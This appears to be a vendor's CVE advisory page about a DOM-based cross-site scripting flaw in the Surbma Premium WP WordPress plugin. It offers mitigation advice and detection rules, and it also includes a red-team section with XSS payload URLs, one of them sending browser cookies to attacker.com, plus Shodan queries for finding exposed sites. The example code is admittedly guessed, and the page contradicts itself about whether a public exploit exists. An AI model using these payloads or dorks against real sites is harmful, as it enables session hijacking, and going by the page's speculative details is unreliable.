☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Surbma logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22808

CVE-2025-22808 Cross-Site Scripting in Surbma
📅 PUBLISHED: 2025-01-09 16:16 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Hungary License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22808 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Surbma | Premium WP WordPress plugin, affecting versions up to and including 9.0. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of a victim's browser. This is a client-side attack vector that does not require authentication, but does require user interaction (e.g., clicking a crafted link). The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, or defacement. As of this report, no official patch is available, and no public exploit code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. The lack of a patch means that the supply chain risk is elevated—users must rely on manual mitigation or removal of the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the DOM-based nature and lack of a patch increase the real-world risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the attack payload is executed entirely on the client side. The plugin likely processes user-controlled input (e.g., URL fragments, query parameters, or stored data) and injects it into the DOM without proper sanitization. For example, a parameter like ?page=... or a hash fragment might be reflected in a JavaScript variable or HTML attribute, allowing an attacker to break out of the context and execute arbitrary JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL containing a JavaScript payload (e.g., https://victim-site.com/?page=<script>alert(1)</script>).
  2. Victim clicks the link or is redirected to it.
  3. The plugin's JavaScript reads the page parameter and inserts it into the DOM (e.g., via innerHTML or document.write).
  4. The browser executes the injected script, giving the attacker control over the page.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet in a WordPress plugin might look like:

// Vulnerable code
var page = new URLSearchParams(window.location.search).get('page');
document.getElementById('content').innerHTML = page;

A patched version would use safe DOM manipulation methods:

// Patched code
var page = new URLSearchParams(window.location.search).get('page');
var safeText = document.createTextNode(page);
document.getElementById('content').appendChild(safeText);

Or use a sanitization library:

// Patched code using DOMPurify
var page = new URLSearchParams(window.location.search).get('page');
document.getElementById('content').innerHTML = DOMPurify.sanitize(page);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with Surbma | Premium WP <= 9.0 installed and activated.
  • A victim user who will click a crafted link.

Exploitation Steps:

  1. Identify the vulnerable parameter by inspecting the plugin's JavaScript files. Look for window.location, document.URL, or URLSearchParams usage.
  2. Craft a payload URL:
    http://victim-site.com/?vuln_param=<img src=x onerror=alert(document.cookie)>
    
  3. Send the link to the victim via email, social engineering, or a redirect.
  4. Upon clicking, the script executes, exfiltrating cookies or performing other actions.

Example Payload (Steal Cookies):

http://victim-site.com/?vuln_param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing suspicious patterns like <script, onerror=, or javascript: in query parameters.
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Disable or remove the plugin until a patch is released.
  • If removal is not possible, manually sanitize the vulnerable parameter by editing the plugin's JavaScript files (not recommended for production).
  • Use a security plugin like Wordfence to add virtual patching.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with query parameters containing <script, onerror, onload, or javascript:.
    • Outbound connections to unknown domains (data exfiltration).
  • Host IOCs:
    • Unexpected JavaScript execution in the browser console.
    • Modified DOM elements (e.g., injected <script> tags).
  • File IOCs:
    • Plugin files with suspicious modifications (e.g., added eval() calls).

Detection Engineering

YARA Rule

rule CVE_2025_22808_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS in Surbma Premium WP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-22808"
    strings:
        $s1 = "window.location" nocase
        $s2 = "document.URL" nocase
        $s3 = "URLSearchParams" nocase
        $s4 = "innerHTML" nocase
        $s5 = "document.write" nocase
    condition:
        all of ($s*) and filesize < 100KB
}

Sigma Rule

title: CVE-2025-22808 DOM-Based XSS in Surbma Premium WP
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Surbma Premium WP plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin panels
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22808 DOM-Based XSS Attempt"; flow:to_server; content:"/"; content:"?vuln_param="; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and remove Surbma | Premium WP until a patch is released.
  2. Implement a WAF rule – Block requests containing XSS patterns in query parameters.
  3. Add CSP headers – Restrict script execution to trusted sources only.

Long-Term Fix:

  • Monitor the plugin's official page for updates. Once a patched version (e.g., 9.1) is released, update immediately.
  • If the plugin is abandoned, consider replacing it with an alternative.

Valters IT Recommendation:

  • Conduct a full security audit of all WordPress plugins in use.
  • Educate users about phishing links that may exploit this vulnerability.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"surbma-premium-wp"
http.html:"wp-content/plugins/surbma-premium-wp"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22808/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.